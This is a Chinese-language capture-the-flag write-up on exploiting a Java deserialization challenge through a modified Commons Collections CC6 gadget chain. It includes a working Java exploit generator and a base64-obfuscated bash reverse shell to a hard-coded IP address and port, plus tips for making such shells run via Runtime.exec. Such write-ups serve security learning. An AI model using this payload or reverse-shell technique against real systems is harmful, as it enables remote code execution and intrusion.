JAVA入门的坑

这两天萌新赛做了一道 java 的 CC 链变种 作为遇见的第一 or 二道 java 题 踩了好多坑 写下来备用

审一下题目的 jar 包 有一个反序列化点 还有一个 transformer 类的子类 应该是仿的 invoketransformer 这个类，cc 链的基础原理就是利用反序列化调用 invoketransformer，通过反射拿到 runtime 类实现 rce

题目给了提示是打 cc6 这条链，是修改的 cc1 在高 java 版本无法使用的替代品

cc 链可以看这里

https://www.cnblogs.com/bitterz/p/15035581.html

对于 cc6 可以看看这个博客

https://www.yulate.com/348.html

对于传统的 cc6 来说 它的利用链是以下这样

Copy
java.io.ObjectInputStream.readObject();
java.util.HashSet.readObject();
java.util.HashMap.put();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();

反序列化一个 Hashset 对象，它在 wakeup 时会自动 readobject, 调用其中的 hashmap 的 hash 方法，内部实现是调用其内部对象的 hashcode 方法。在这一步计算 hash 就需要获取 value，由此触发了 lazymap 的 get 方法，Lazymap 调用 chainedtransformer 内部的 invoke，通过反射获取了 runtime 类实现了 rce

但是查看依赖版本 是 cc3.2.2 这个版本已经修了传统的 cc6 利用，是怎么修复的呢？

查一下这个版本的 changelog

是把几个危险的类 ban 掉 禁止序列化造成 RCE

用 jadx 反编译 jar 包看到源码，这里看到题目中给的 eval 类，是仿的 invoketransformer 类

又把 serializable 加了回来 是故意的 这样就能再利用这个类打 cc6 链

基于传统的 cc6 链 payload，抄 + 改了一份 exp

这里在配置环境踩了一堆坑 就不用写了 以后也都会了

Copy
public class cc {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(buffer);
output.writeObject(hashSet);
//base64编码
String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
System.out.println(payload);
// decoserize decoserize = new decoserize();
// decoserize.decoserize(payload);

}
}

这里有两个大坑

1. 包名，一定要改的和源文件里的一模一样，要不然反序列化出来他不认的

2. 弹 shell 传统的简单弹法用不了 原理可以看

https://www.cnblogs.com/BOHB-yunying/p/15523680.html

要把经典的语句改成

Copy
bash -c {echo,base64过的弹shell语句}|{base64,-d}|{bash,-i}

除此以外就能正常打了 传 base64 记得 url 编码